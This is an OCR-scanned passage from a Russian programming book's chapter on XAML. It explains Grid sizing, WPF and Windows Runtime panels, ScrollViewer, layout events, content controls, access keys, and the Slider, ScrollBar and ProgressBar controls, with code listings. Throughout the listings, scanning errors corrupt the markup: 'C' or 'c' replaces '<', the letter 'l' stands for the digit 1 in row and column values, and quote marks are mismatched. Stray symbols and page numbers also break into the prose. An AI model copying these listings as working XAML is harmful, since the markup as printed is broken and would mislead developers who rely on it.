XAML c/Grid.ColumnDefinitions> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> CRectangle Fill="Yellow" Stroke="Black" Grid.Row=”l" Grid.Column="0" /> CTextBlock Text="Rectangle" Grid.Row="l" Grid.Column="0" HorizontalAlignment="Center" VerticalAlignment=’'Centern /> <Ellipse Fill="Cyan" Stroke="Black" Grid.Row="0" Grid.Column="r' /> CTextBlock Text="Ellipse" Grid.Row="0" Grid.Column="l" HorizontalAlignment="Center" VerticalAlignment="Center" /> <Path Fill="Orange" Stroke="Black" Grid.Row="l" Grid.Column="2" Stretch="Fill" Data="M0,l L2,l l,0z" /> CTextBlock Text="Triangle" Grid.Row="l" Grid.Column="2" Margin="3" HorizontalAlignment="Center" VerticalAlignment="Bottom" /> c/Grid> Рис. 19.11. Фигуры с надписями Если вы не укажете свойства со значениями столбца и строки для элемента-потомка, то по умолчанию их значения будут равны 0. Это со- ответствует верхней левой ячейке сетки. Если вы не определите для сет- ки никаких строк и столбцов, то в ней будет один столбец и одна строка. Может показаться, что такая «цельная» сетка не слишком полезна, но она тем не менее применяется довольно часто, так как позволяет мно- гим элементам одновременно находиться в одной ячейке макета. Фак- 967
Глава 19 тически именцр это сделано в листинге 19.2 — два элемента StackPanel являются потомками «цельной» сетки. Они разделяют единственную ячейку макета, хотя и используют свои свойства выравнивания и полей, занимая разные позиции в этой ячейке. При наложении элементов друг на друга те из них, которые указаны в разметке XAML раньше, окажутся под теми, что ука- заны позже. Элемент может находиться и в нескольких ячейках сразу. Grid опре- деляет еще два прикрепляемых свойства: ColumnSpan и RowSpan. В ли- стинге 19.16 они применяются, чтобы нарисовать в двух ячейках прямо- угольник со скругленными углами, в котором, в свою очередь, находятся текстовое поле и надпись. На рис. 19.12 показан результат. Листинг 19.16. Наложение нескольких ячеек <Grid> <Grid.ColumnDefinitions> <CotumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <Rectangle Grid.ColumnSpan="2" RadiusX="15" RadiusY="15" Fill="LightGray" Stroke="Black" /> <TextBlock Text="Username" FontSize="14.667" Foreground="Black" Width="80" VerticalAlignment="Center" /> CTextBox x:Name="usernameText" Grid.Column="l" Width="150" Margin="10,10,10,10" /> </Grid> Рис. 19.12. Наложение нескольких ячеек По умолчанию строки и столбцы получают одинаковые участки раз- деляемого пространства. Тем не-менее существуют три стратегии опреде- ления высоты и ширины каждой строки или столбца. Размер столбцов управляется при помощи свойства Width элемента ColumnDef inition. Уста- навливая это свойство в числовое значение, мы задаем для столбца имен- 968
XAML но такой фиксированный размер. Если же вы укажете здесь значение Auto, ширина столбца будет ^подгоняться под его содержимое. В случаях когда в столбце содержится несколько элементов, в нем применяется такой же подход, какой использовался бы в вертикальной StackPanel: у каждого элемента запрашивается, какую ширину он хотел бы иметь, а потом все получают наибольшее из указанных значений ширины. В листинге 19.17 эта возможность используется для реализации того самого интерфейса с полями и надписями, который мы сделали в листинге 19.2. Но здесь мы уже не зависим от фиксированных размеров наших надписей. Листинг 19.17. Компоновка для ввода логина и пароля с использованием панели Grid <Grid> cGrid.ColumnDefinitions> <ColumnDefinition Width="Auto" /> <ColumnDefinition /> </Grid.ColumnDefinitions> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> CTextBlock Text="Username" FontSize="14.667" Foreground="Black" VerticalAlignment="Center" /> CTextBox x:Name="usernameText" Grid.Column="l" Margin="10,10,10,10" /> CTextBlock Text="Password" FontSize="14.667" Foreground="Black" VerticalAlignment="Center" Grid.Row="l" /> CTextBox x:Name="passwordText" Grid.Column="l" Grid.Row="l" Margin="10,10,10,10" /> c/Grid> Подгоняя ширину столбца под содержимое, мы исключаем возмож- ность случайной обрезки текста, которая могла бы возникнуть из-за не- достатка экранного пространства. Кроме того, упрощается локализация интерфейса, так как сетка автоматически пересчитает свои размеры, если мы сделаем текстовые надписи на другом языке. Свойство Width элемента ColumnDefinition по умолчанию равно 1*. Можно указать любое число, за которым следует астериск (*). Когда 969
Глава 19 вы используете такой метод, называемый звездное определение размера (star sizing), столбцы разделяет общее пространство, но доля этого про- странства, отводимая под каждый столбец, пропорциональна числово- му значению. Например, столбец 2* будет в два раза шире, чем столбец 1*. При необходимости столбцы со звездными значениями размера ис- пользуют дополнительное пространство, которое могло остаться после распределения места между другими столбцами. Так, в листинге 19.17 тот столбец, где находятся надписи, будет достаточно широк, чтобы их вместить, а текстовым полям могут быть переданы излишки свободного пространства. Как правило, звездное определение размеров применяется лишь в тех случаях, когда размер Grid, вероятно, будет ограничен. Ведь имен- но общая ширина сетки регламентирует, сколько места остается для столбцов со звездными размерами. Однако если вы поместите такую сетку в контекст, в котором происходит принудительная подгонка под содержимое, то столбцы со звездным определением размеров фактиче- ски будут получать значение Auto. Строки таблицы поддерживают те же три режима определения раз- меров, что и столбцы. Вы можете управлять размерами строк, регулируя значение Height элемента RowDef inition. Grid — одна из самых гибких панелей. Если бы у нас не было Canvas и StackPanel, их вполне можно было бы сымитировать при помощи Grid. Чтобы создать эквивалент Canvas, вы можете построить Grid, состоящую из единственной ячейки. Как было описано выше, если вы установите свойства горизонтального и вертикального выравнивания каждого эле- мента в Тор и Left, то сможете контролировать их положение при помощи свойства Margin. Чтобы сымитировать вертикальную StackPanel, создайте сетку с одним столбцом, имеющим ширину Auto. Далее создайте по одной строке с высотой Auto для каждого элемента-потомка. Все элементы- потомки находятся в отдельных строках. Чтобы сымитировать гори- зонтальную StackPanel, достаточно сделать одну строку со множеством столбцов, установив все параметры длины и ширины в значение Auto. Разумеется, работать с настоящей StackPanel гораздо удоб- 4 < нее’ но она имеет и ец*е одно важное преимущество по срав- ---нению с эквивалентов, построенным на основе Grid. Вам не приходится заранее конфигурировать StackPanel с конкрет- ным количеством строк и столбцов — можете просто продол- 970
XAML жать добавлять элементы-потомки, и размеры панели будут адаптироваться. Кроме того, если во время выполнения вы удалите какой-то элемент из коллекции Children, панель ав- томатически закроет этот пробел. Такая возможность важна в сценариях, требующих привязки данных, когда на этапе на- писания XAML-разметки вы еще не знаете, сколько элементов у вас будет в итоге. Специализированные панели Windows Runtime Во фреймворке Windows Runtime определяется ряд специализи- рованных типов панелей, предназначенных для поддержки некоторых распространенных вариантов компоновки полноэкранных приложе- ний. Элемент VariablesizedWrapGrid позволяет создать примерно такой макет, какой используется на стартовой странице Windows 8. Там эле- менты находятся в равномерно распределенной сетке, но некоторые из них занимают по несколько ячеек. Разумеется, вы легко можете достичь такого эффекта при помощи обычной сетки Grid, пользуясь свойствами ColumnSpan или RowSpan. Правда, панель VariableSizedWrapGrid предна- значена для использования в таких сценариях, где вы не знаете, с ка- ким количеством элементов придется работать во время выполнения (например, при применении привязки данных). Хотя вы и можете ис- пользовать эту панель отдельно от других, она предназначена для при- менения внутри специального интерактивного элемента управления, поддерживающего такой стиль прокручивающейся сетки. Этот элемент управления называется Gridview. Есть и другая панель, предназначенная для работы с Gridview. Она на- зывается WrapGrid, и работать с ней немного проще. Она была разработана для применения почти в таких же макетах, что и VariableSizedWrapGrid, но в случае WrapGrid все элементы сетки имеют одинаковые размеры. Windows Runtime также определяет CarouselPanel. Эта панель пред- ставляет собой прокручивающийся список элементов, отматываемый от первого до последнего и вновь переходящий к первому после последне- го. Такая панель предназначена для использования в составе элемента управления ComboBox, реализующего подобное «карусельное» поведение в приложениях с пользовательским интерфейсом в стиле Windows 8. На самом деле, в документации сказано, что ComboBox — единственный элемент, в котором официально поддерживается использование такой панели. Поэтому она является особенно специализированной, хотя до- 971
Глава 19 кументация и подразумевает, что подобная панель вполне подходит для содержания-элементов в любом ItemsControl (это базовый класс для ComboBox, ListBox и других списковых элементов управления). Панели WPF В WPF определяется ряд полезных панелей, которые не встроены в другие XAML-фреймворки. Но две из них, DockPanel и WrapPanel, до- ступны в составе инструментария Microsoft Silverlight, который вы мо- жете скачать по адресу http://silverlight.codeplex.com/. DockPanel удобна для создания макетов, в которых элементы при- крепляются к определенному краю своего контейнера. Можно исполь- зовать эту панель для создания классических локальных приложений Windows для ПК, где меню располагается по верхнему краю окна, ста- тусная панель — по нижнему краю, а слева находится панель, содержа- щая, скажем, дерево объектов. В листинге 19.18 показан простейший вариант пользовательского интерфейса такого рода. Листинг 19.18. Панель DockPanel CDockPanel> ъ <Menu DockPanel.Dock="Top"> <MenuItem Header="File" /> <MenuItem Header="Edit" /> </Menu> <StatusBar DockPanel.Dock="Bottomn> CTextBlock Text="Ready" /> </StatusBar> CTreeView DockPanel.Dock="Left"> CTreeViewItem Header="Foo" IsExpanded="True"> CTreeViewItem Header="Quux" /> </TreeViewItem> CTreeViewItem Header="Bar" /> c/TreeView> CTextBox Text="Type here" AcceptsReturn="True" /> c/DockPanel> На самом деле, подобный макет страницы можно сделать и без ис- пользования DockPanel. ТакопГже результата можно достичь при помо- щи Grid, как показано в листинге 19.19. Основное достоинство DockPanel заключается в том, что она требует несколько меньше подготовительной 972
XAML работы. Но с Grid удобнее работать в таких конструкторах, как XAML- редактор, из Visual Studio или Blend. Поэтому практические преимуще- ства от использования DockPanel ощутимы лишь в тех случаях, когда вы пишете XAML вручную. Листинг 19.19. Компоновка в стиле панели DockPanel при помощи панели Grid <Grid> <Grid.ColumnDefinitions> <ColumnDefinition Width="Auto" /> cColumnDefinition /> </Grid.ColumnDefinitions> <Grid.RowDefinitions> <RowDefinition Height="Auto" /> <RowDefinition /> <RowDefinition Height="Auto" /> </Grid.RowDefinitions> <Menu Grid.ColumnSpan="2’,> <MenuItem Header="File" /> <MenuItem Header="Edit” /> </Menu> <StatusBar Grid.Row="2" Grid.ColumnSpan="2"> <TextBlock Text="Ready" /> </StatusBar> CTreeView Grid.Row="l"> CTreeViewItem Header="Foo" IsExpanded="True”> <TreeViewItem Header="Quux" /> </TreeViewItem> CTreeViewItem Header="Bar" /> </TreeView> cTextBox Grid.Row="l" Grid.Column=”l” Text="Type here" AcceptsReturn="Truen /> </Grid> Панель WrapPane 1 — это фактически стек стеков. Горизонтальная панель WrapPane 1 на первый взгляд работает точно так же, как и гори- зонтальная панель StackPanel. Элементы выстраиваются слева направо, каждый получает столько пространства по ширине, сколько ему тре- буемся. Отличия становятся очевидны, только когда начинает не хва- тать места. StackPanel не учитывает пространственных ограничений в направлении выстраивания стека и продолжает расставлять элемен- ты так, как если бы пространство было неограниченным. Все элемен- 973
Глава 19 ты, помещаемые ею за пределами панели, просто обрезаются. Но если WrapPanel израсходует все доступное место, она продолжит строить стек с новой строки, как если бы его элементы были текстом. Ведь при на- писании текста мы пишем в строке слева направо (или справа налево, или сверху вниз в столбце, в зависимости от языка). Когда мы доходим до конца строки или столбца, текст просто продолжается с новой строки или нового столбца. WrapPanel может работать как с горизонтальной, так и с вертикальной ориентацией. В отличие от многих панелей, такую стратегию компоновки, .предлагаемую WrapPanel, нельзя сымитировать при помощи Д>*''Grid. Хотя WrapPanel специфична для WPF, панель WrapGrid из Windows Runtime в приложениях Windows 8 обеспечивает подобный функцио- нал. Эта панель получила новое название (WrapGrid), так как она поддер- живает определенные возможности привязки данных, отсутствующие в WrapPanel. Эти новые возможности нужны для правильной прокрутки макетов-сеток, роль которых во многих приложениях Windows Runtime сложно переоценить. Кстати, WrapPanel из WPF тоже поддерживает привязку данных, но реализуемый в ней механизм становится неэффек- тивным при работе с довольно большим количеством элементов. Еще один тип панелей, встречающихся только в WPF, называется UniformGrid. Он создает сетку, все ячейки которой имеют одинаковый размер и каждая ячейка может содержать только один элемент. Все, что делается в этой панели, может быть выполнено и при помощи Grid, но в случае UniformGrid оказывается гораздо проще конфигурировать стро- ки и столбцы. Гибкость Grid приводит к тому, что синтаксис этой панели получается очень многословным. Приходится создавать объекты для описания каждой строки и каждого столбца, а чтобы указать, где окажет- ся какой объект, нужно прибегать к прикрепляемым свойствам. Но при помощи UniformGrid вы можете просто указать, сколько строк и столб- цов вам необходимо, — в данном случае недостаток гибкости приводит к тому, что вам не требуется отдельный объект для конфигурирования каждой строки или столбца. На самом деле, параметры можно даже не указывать. В таком случае у вас получится равное количество строк и столбцов — столько, сколько нужно для содержания всех элементов- потомков. Размещение элементов-потомков в ячейках основывается ис- ключительно на их порядке. Элементы заполняют первую строку слева 974
XAML направо, затем вторую строку в том же порядке и т. д. Таким образом, вы можете правильно располагать элементы, не прибегая к прикрепляе- мым свойствам. Есть еще один циклический элемент, который может применяться для целенаправленного расположения компонентов в пользователь- ском интерфейсе. Это не панель, но о нем стоит поговорить отдельно. Элемент управления Scrollviewer Сущность Scrollviewer из языка XAML — это элемент управления, который может содержать всего один компонент. Данный компонент может представлять собой что угодно — например, панель, — поэтому на практике вы сможете поместить в Scrollviewer любое количество более мелких компонентов. Их нужно только уметь правильно вкладывать друг в друга. Scrollviewer запрашивает у своего содержимого, сколько места ему требуется. Если для контента нужно больше места, чем есть в наличии, то Scrollviewer предполагает, что у него в распоряжении есть достаточно места, а потом обрезает содержимое элементов-потомков, чтобы удалось расположить их все в доступном пространстве. Факти- чески он предоставляет область просмотра, в которой может уместиться некоторая часть содержимого. Данный элемент управления имеет по- лосы прокрутки, позволяющие пользователе попеременно отображать в окне разные части содержимого, которые при этом будут оказываться в области просмотра. Элемент управления Scrollviewer из фреймворка Windows Runtime также поддерживает сенсорные взаимодействия. На- пример, жест смахивания позволяет панорамировать область просмо- тра, жесты щипка (pinch) — увеличивать и уменьшать масштаб. Работать со Scrollviewer не составляет труда. Содержащийся в нем элемент «может и не знать», что его прокручивают. Поэтому вы можете поместить в Scrollviewer практически что угодно, и для этого не потре- буется писать дополнительный код. События компоновки Макеты большинства приложений не являются фиксированными. Им требуется реагировать на изменения в условиях ограничений, на- лагаемых извне. Так, размер окна локального приложения может быть изменен, а полноэкранное приложение должно адаптироваться к изме- нению ориентации экрана. Некоторые изменения провоцируются из- 975
Глава 19 нутри приложения. Например, если вы измените содержимое элемен- та, в котором действует подгонка под содержимое, то размер данного элемента изменится, из-за чего может произойти перекомпоновка всего остального макета." Допустим, изменяется размер элемента в сетке, где применяется автоматическое определение размеров столбцов. В таком случае изменения затронут не только столбец, в котором они произош- ли, но и все остальные столбцы сетки, использующие звездное опреде- ление размера. Для всех элементов определяется событие LayoutChanged. Оно про- исходит в момент, когда впервые завершается компоновка макета. Если вы проверите значения свойств Actualwidth и ActualHeight еще до того, как состоится данное событие, то обнаружите, что их значения равны 0. Это событие будет происходить всякий раз после того, как компоновка макета по какой-то причине изменится. На практике вам не потребуется обрабатывать данное событие в случаях большинства элементов, так как ваш макет сможет автоматически адаптироваться к изменениям, если вы используете для него подходящий набор панелей. Правда, если пред- стоит существенно изменить размер всего макета, а значит, и его ком- поновку, то может быть целесообразно полностью скрыть те или иные элементы. Это можно сделать, например, если их ширина или высота окажется меньше определенного воспринимаемого уровня. В иммерсивных приложениях для Windows 8 требуется правильно обрабатывать некоторые особые разновидности изменения компонов- ки. Например, они должны верно реагировать на изменение ориента- ции планшета, в частности на переход из книжного в альбомный режим просмотра. Кроме того, они должны справляться с новой функцией Windows 8, которая называется прикрепление (snap). Как правило, при- ложения, написанные в стиле Windows 8, работают в полноэкранном режиме, но пользователь может отобразить на экране два приложения одновременно. Одно будет занимать большую часть экранного про- странства, а другое окажется «прикреплено» к одному из краев экра- на, имея всего 320 пикселов экранного пространства. Поэтому данная функция, вероятно, будет применяться в таких сценариях, когда обыч- ной автоматической адаптации макета недостаточно. Если произойдет подобное перераспределение компоновки, то большинству приложений потребуется переключиться в иной, упрощенный макет. Отсутствует особое событие, которое означало бы переход из при- крепленного в неприкрепленное состояние либо изменение ориентации. Поэтому нам требуется просто отслеживать изменения размера. Это 976
XAML можно делать при помощи события LayoutChanged, но оно может возни- кать и при таких перестройках макета, которые не связаны с изменением размеров экрана, а спровоцированы изнутри приложения. А потому, как правило, мы пользуемся статическим свойством Current класса Window и обрабатываем событие SizeChanged возвращаемого им объекта Window. Приложения фреймворка Windows Runtime могут иметь только одно окно. Если его размер изменяется, это может быть связано с изменени- ем ориентации, или с переходом в прикрепленный режим, или с тем, что ваше приложение теперь отображается на экране другого размера. Внутри события SizeChanged вы можете использовать статическое свойство Value класса Applicationview, которое возвращает значение от перечислимого типа ApplicationViewState. Это значение может быть равно FullScreenLandScape, FullScreenPortrait, Snapped или Filled. По- следнее состояние означает, что в настоящий момент в прикрепленном режиме находится какое-то другое приложение, а ваше приложение занимает оставшуюся часть экрана. Прикрепление доступно только в книжном режиме. Именно поэтому книжная и альбомная ориентация различаются лишь в полноэкранном варианте просмотра. Все приемы компоновки, описанные выше, могут использоваться лишь в том случае, когда у вас есть контент для отображения в окне. В следующем разделе я опишу различные встроенные интерактивные элементы. Элементы управления В XAML определяются различные элементы управления (controls) — сущности, у которых есть то или иное неотъемлемое интерактивное поведение. Терминология в этой области немного несогласованная, поэтому следует отдельно остановиться на том, что же такое «элемент управления». Во всех XAML-фреймворках определяется класс Control, а производные от него типы обычно обладают двумя общими характери- стиками. Во-первых, они представляют экранные элементы, «готовые»* для пользовательских взаимодействий. Это означает, что в их случае не приходится писать какого-либо дополнительного кода для определения интерактивного поведения. Если вы просто добавите в пользователь- ский интерфейс элемент CheckBox, то он автоматически начнет действо- * Примерами типов, предназначенных исключительно для использования в каче- стве базовых классов для других элементов, являются, например, исключения. 977
Глава 19 вать как обычный флажок. Во-вторых, внешний вид элементов управ- ления является настраиваемым: можно оформить элемент управления совершенно по-новому, полностью сохранив его базовое поведение. Путаница заключается в том, что в различных XAML-фреймворках определяются пространства имен, чьи названия содержатслово «control». Но в этих пространствах имен присутствуют сущности, не являющиеся элементами управления и не обладающие качествами, которые я опи- сал выше. Так, во фреймворке Windows Runtime есть пространство имен Windows.Ul.Xaml.Controls, соответствующее пространству имен System. Windows.Controls других фреймворков. Эти пространства имен содер- жат не только элементы управления, но и некоторые типы панелей, на- пример Grid и StackPanel, не соответствующие определению элементов управления. Они не обладают неотъемлемой интерактивностью и даже могут не отображаться на экране. Иногда термин элемент управления употребляется даже в более ши- роком смысле — как общее понятие для обозначения всех элементов XAML. Я считаю, что это неправильно, ведь существует неконкретизи- рованный термин элемент (element). Необходимо отличать элементы, обладающие собственным интерактивным поведением и характерным (обьГчно настраиваемым) внешним видом, и элементы используемые в других целях — для компоновки и отображения простой графики. Итак, данный раздел посвящен именно таким типам, которые являются производными от класса Control. Элементы управления содержимым В XAML определяется несколько элементов управления содержи- мым (content controls). Они могут вмещать в себе любой другой эле- мент на ваш выбор и обеспечивать то или иное поведение «вокруг» это- го содержимого. Такие элементы определяют свойство Content, но вам не требуется явно его устанавливать. Если вы поместите ту или иную сущность в элемент управления содержимым, он станет значением свойства Content данного объемлющего элемента. Все элементы управ- ления содержимым наследуют от базового класса Contentcontrol. Я уже приводил несколько примеров таких элементов. Button — это элемент управления содержимым. Хотя в качестве содержимого кнопки обыч- но служит текст, вы можете-разместить на ней что захотите. В листин- ге 19.20 показана кнопка, содержимым которой является горизонталь- ная StackPanel. 978
XAML Листинг 19.20. Содержимоекнопки <Button> <StackPanel Orientation=”Horizontal"> <Path Fill=”Cyan” Stroke=”Blue” StrokeThickness="l” VerticalAlignment="Center" Data=nM4,0 Lll,0 6,10 9,10 0,20 3,10 0,10z" /> CTextBlock Text="Go" /> </StackPanel> </Button> В этой панели есть и графический элемент, и текст, как показано на рис. 19.13. Текст в данном случае служит надписью на кнопке. Посколь- ку мы можем использовать в качестве содержимого любую пггнель (лю- бой элемент, если уж на то пошло), мы полностью контролируем и рас- положение содержимого кнопки. Такой подход гораздо более гибок по сравнению с методами, применяемыми в других фреймворках. Там кнопки могут иметь лишь ограниченный набор содержимого — напри- мер, один растровый рисунок или один фрагмент текста, принимающий только строго определенную конфигурацию. Рис. 19.13. Кнопка с графическим и текстовым контентом ” Элементы управления содержимым хорошо иллюстрируют . * применяемый в XAML принцип композиции. Вполне можно ^‘представить себе кнопку, функционал которой не ограничен типичным для кнопки поведением «нажатия». Можно опреде- лять ее внешний вид и управлять компоновкой содержимого. Но на практике кнопочные и некнопочные свойства кнопки управляются отдельно. Класс Button определяет только ин- терактивное поведение. Общий внешний вид кнопки задает- ся отдельной сущностью — шаблоном кнопки. Как вы вскоре увидите, контент, расположенный внутри оформленной по шаблону кнопки, тоже является отдельным элементом. Другие элементы управления, похожие на кнопки, например CheckBox и RadioButton, также служат для манипуляций содержимым, но их функциональность отличается от обычной кнопочной. Напри- мер, Scrollviewer тоже является элементом управления содержимым. 979
Глава 19 Его интерактивное поведение совсем не похоже на кнопочное, но этот элемент управления, несомненно, должен включать в себя какое-то со- держимое, чтобы приносить пользу. Существуют элементы управления содержимым, представляющие компоненты содержимого в виде списков (так, ListBoxItem представля- ет отдельно взятый компонент в элементе управления ListBox). Все они наследуют от класса Contentcontrol. Таким образом, все элементы из списковых полей, комбинированных списков и т. д. могут быть не толь- ко текстовыми. Любой компонент списка может иметь любое содержи- мое. В листинге 19.21 показан комбинированный список, компоненты которого могут содержать графику, текст либо и то и другое. Листинг 19.21. Комбинированный список со смешанным содержимым <ComboBox> <ComboBoxItem> <Rectangle Fill=”Red" Width="100" Height="20”/> </ComboBoxItem> <ComboBoxItem Content="Text" /> <ComboBoxItem> <Ellipse Fill="Blue" Width=n100" Height="20"/> </ComboBoxItem> <ComboBoxItem> <StackPanel Orientation="Horizontal"> <Rectangle Fill="Red" Width=”100" Height="20"/> <ComboBoxItem Content="Text and graphics” /> <Ellipse Fill=”Bluen Width="100" Height="20'7> </StackPanel> </ComboBoxItem> </ComboBox> Результат показан на рис. 19.14. Здесь вы видите только раскрываю- щуюся часть списка, поскольку в стиле Windows 8 комбинированные списки накрывают основной элемент управления, а не располагаются под ним. Даже скромная подсказка ToolTip — это элемент управления содер- жимым. Кстати, не стоит полагаться на всплывающие подсказки в таких приложениях, которые планируется использовать на сенсорном экране, так как пользователям, скорее всего, будет сложно их обнаружить. Как правило, всплывающая подсказка Появляется после наведения курсо- ра мыши на элемент. Экраны, ориентированные на работу со стилусом, 980
XAML реагируют на событие наведения мыши, а сенсорные экраны, управляе- мые пальцем, — нет. В Windows 8 вы можете отобразить вплывающую подсказку, коснувшись элемента и удерживая на нем палец, но этот жест значительно менее удобен, чем наведение курсора, и не сработает в сценариях, где за ним закреплено какое-то иное значение. При работе с контекстными меню используется такой же метод «удерживание и на- жатие». Лучше подыскать другой способ для сообщения справочной ин- формации. Рис. 19.14. Комбинированный список со смешанным содержимым Элементы управления содержимым даже могут содержать другие элементы управления. Это не всегда целесообразно — например, не сто- ит встраивать кнопку в надпись, расположенную на другой кнопке. Но в случае Scrollviewer такой контент, который может содержать другие элементы управления, безусловно, будет полезен. Огромное преимуще- ство той модели построения элементов управления, которая использу- ется в XAML, заключается именно в ее композиционной природе. Та- кая модель налагает совсем немного ограничений на структуру вашего пользовательского интерфейса. Хотя каждый элемент управления автоматически обеспечивает свойственное ему интерактивное поведение, нам часто приходится под- ключать к элементу управления тот или иной код, чтобы он отвечал на- шим целям в конкретном приложении. Это касается не всех элементов управления — так, Scrollviewer и ToolTip могут быть написаны на чи- стом XAML и после этого становятся вполне функциональными. Как правило, подключение кода ограничивается привязкой обработчиков событий и использованием свойств. Например, кнопка Button определяет событие Click, возникающее при нажатии на кнопку. Вы должны использовать именно его, а не более низкоуровневые события — такие, как PointerPressed в Windows Runtime или MouseLef tButtonDown в WPF, — поскольку существует не один способ 981
Глава 19 нажатия на кнопку. Кнопку можно нажимать мышью или пальцем, но также можно перевести кнопку в фокус при помощи клавиатуры, поль- зуясь клавишей Tab, а после этого нажать на кнопку, воспользовавшись клавишей Пробел. Кроме того, в WPF вы можете назначить горячую клавишу (access key). В листинге 19.22 показано, как это делается. Листинг 19.22. Горячие клавиши в WPF <Button Click=”OnClickl" Margin="2" Content=”Firs_t” /> <Button Click="OnClick2" Margin="2" Content="_Second” /> Обратите внимание на нижние подчеркивания в свойствах Content. Если в качестве содержимого для элемента управления из WPF вы пре- доставляете строку, записанную обычным текстом, то фреймворк ищет в тексте нижние подчеркивания. Если нижнее подчеркивание найдено, то элемент получает горячую клавишу. По умолчанию это сначала не оказывает никакого видимого эффекта: кнопки из листинга 19.22 будут выглядеть как на рис. 19.15. Но если пользователь нажмет клавишу Alt, когда ваше приложение находится в фокусе, то буква, предшествовав- шая в кода символу _, будет подчеркнута. На рис. 19.15 такие варианты показаны справа. Рис. 19.15. Кнопки с горячими клавишами и без них Пока удерживается клавиша Alt, пользователь может нажать любую кнопку, имеющую горячую клавишу, и комбинация Alt+T, нажатая на клавиатуре, вызовет событие щелчка для первой кнопки, a Alt+S — для второй. В первом случае я назначил в качестве горячей клавиши Т, а не F, так как в приложениях Windows комбинация Alt +F обычно ассоции- рована с меню Файл. Разумеется, гораздо проще перепоручить обработку всех этих дета- лей классу Button и просто обрабатывать его событие щелчка по кнопке, поскольку в таком случае ваше приложение сможет работать и с клавиа- турой, и с мышью, и с сенсорным экраном, и даже с применением какого- нибудь вспомогательного или автоматизирующего инструмента, кото- рый программно управляет пользовательским интерфейсом. Поэтому, если вы хотите обеспечить реагирование на щелчки курсора мыши или на нажатия пальцем для какого-либо другого элемента (не кнопки) — 982
XAML например, для изображения Image, которое выводит на экран растровую картинку, — то такой элемент лучше обернуть в Button, а не обрабаты- вать свойства PointerPressed или MouseLeftButtonDown напрямую. Элементы управления Slider и ScrollBar Часто пользователю приходится указывать в приложении те или иные числовые значения. Для этого всегда можно применить обычное текстовое поле, но если значение относится к определенному диапазо- ну, то иногда лучше использовать элемент управления XAML с именем Slider, представляющий собой ползунковый регулятор. Например, в графическом редакторе ползунковый регулятор можно использовать для настройки контрастности. Это позволит обновлять изображение непрерывным образом, благодаря чему пользователь сможет подбирать значение до тех пор, пока оно его не устроит. В случае набора текста обычно требуется более высокая точность, но если пользователь хочет лишь бегло ознакомиться с результатом, то обычно проще применить ползунковый регулятор. Пример использования ползункового регуля- тора представлен в листинге 19.23. Листинг 19.23. Элемент управления Slider <Slider Minimum="0" Maximum="10" ValueChanged="OnSliderValueChanged" /> Вам необходимо указать диапазон значений, в котором должен ра- ботать ползунковый регулятор. Свойство Value служит для извлечения или установки выбранного в данный момент значения (это значение вы можете использовать в отделенном коде), при этом элемент управления вызывает событие ValueChanged при каждом изменении значения. При желании вы можете указать значение SmallChange или LargeChange. Пер- вое управляет тем, насколько изменится значение, если пользователь поместит элемент управления в фокус клавиатуры, а потом, находясь в фокусе, изменит это значение при помощи клавиш со стрелками. Вто- рое определяет величину изменения, которое произойдет при нажатии на клавишу Page Up или Page Down в момент, когда элемент управ- ления находится в фокусе. Второе значение срабатывает точно так же, если пользователь щелкнет мышью слева или справа от ползунка. XAML также определяет элемент управления ScrollBar. С точки зрения программирования это очень похожие сущности. Они наследу- ют от одного и того же базового класса RangeBase, но выглядят очень по- 983
Глава 19 разному. Различие между этими элементами управления обычно имеет идиоматический характер. Пользователь ожидает увидеть полосы про- крутки по краям какой-либо прокручиваемой области просмотра, а пол- зунковые регуляторы — там, где есть редактируемые значения, огра- ниченные определенным диапазоном. Для второго рассматриваемого здесь элемента управления диапазон конфигурируется аналогично. Оба они инициируют событие ValueChanged, когда пользователь передвигает ползунок. Ползунок — это подвижный компонент ползункового регуля- тора или полосы прокрутки. Тем не менее между ними существует определенная разница. У ScrollBar есть свойство Viewportsize, определяющее размер пол- зунка. Ползунок ползункового регулятора, напротив, имеет фикси- рованный размер. Величина ползунка панели прокрутки изменяется пропорционально и соответствует тому, какая доля прокручиваемого пространства может одновременно отображаться в области просмотра. У объекта Slider есть свойства TickFrequency и TickPlacement, которые позволяют вам наносить насечки (ticks) — равномерно расположенные видимые отметки. Например, их можно отображать на самом элементе управления. Еще один класс элементов управления, производный от RangeBase, называется ProgressBar. Но он предназначен не для работы с информа- цией, а для показа того, как быстро приложение справляется с долгой работой. Индикаторы прогресса Во всех случаях, когда это только возможно, приложение должно быстро реагировать на запросы пользователя. Но иногда обеспечить мгновенный отклик просто невозможно. Если пользователь затребовал у вашего приложения выбрать несколько гигабайтов данных по медлен- ному сетевому соединению, то никуда не денешься — придется подо- ждать. В таких ситуациях очень важно убедить пользователя в том, что работа движется, и дать ему какой-то индикатор, позволяющий судить, сколько времени остается до окончания операции. В идеале также долж- на быть возможность отменить операцию. Важнейшее условие, которое при этом необходимо соблюдать-,^— нельзя блокировать поток пользо- вательского интерфейса. Если вам необходимо выполнять медленную работу, прибегайте к асинхронным механизмам и многопоточности. Эти 984
XAML приемы подробно описаны в главах 17 и 18. Так вы сможете гаранти- ровать, что ваше приложение не зависнет на весь период выполнения длительной операции. Наконец, вы должны реализовать и механизм об- ратной связи с пользователем. ProgressBar — это элемент управления, реализующий распростра- ненную идиому и демонстрирующий пользователю, на каком этапе находится выполнение работы. Это простой прямоугольный элемент управления, который сначала выглядит как пустая прямоугольная по- лоса, а потом постепенно заполняется слева направо. Теоретически та- кое заполнение должно происходить плавно, с постоянной скоростью, чтобы пользователь четко представлял себе, когда завершится работа. Разумеется, данный индикатор не имеет ни малейшего понятия о том, как долго будет работать ваш код, поэтому вы должны регулярно обнов- лять свойство Value. На практике достичь этого может быть достаточ- но сложно, так как не всегда удается с легкостью определить, сколько времени остается до окончания процесса. Но если процесс достаточно прост, например требуется всего лишь скачать большой файл, то сделать точный индикатор загрузки совсем несложно. Поскольку класс ProgressBar наследует от RangeBase, вы задаете его диапазон и значение точно так же, как делали бы это с ползунковым ре- гулятором или полосой прокрутки. Вся разница заключается в том, что индикаторы не являются интерактивными. К сожалению, вы не можете подтолкнуть полосу индикатора, чтобы загрузка пошла быстрее. Иногда приходится осуществлять операции, о длительности выпол- нения которых можно только догадываться. Если работа связана с от- правкой на сервер одного короткого сообщения с последующим полу- чением одного короткого ответа, то такая операция может находиться только в одной из двух фаз: либо вы ожидаете ответа, либо работа уже закончена. 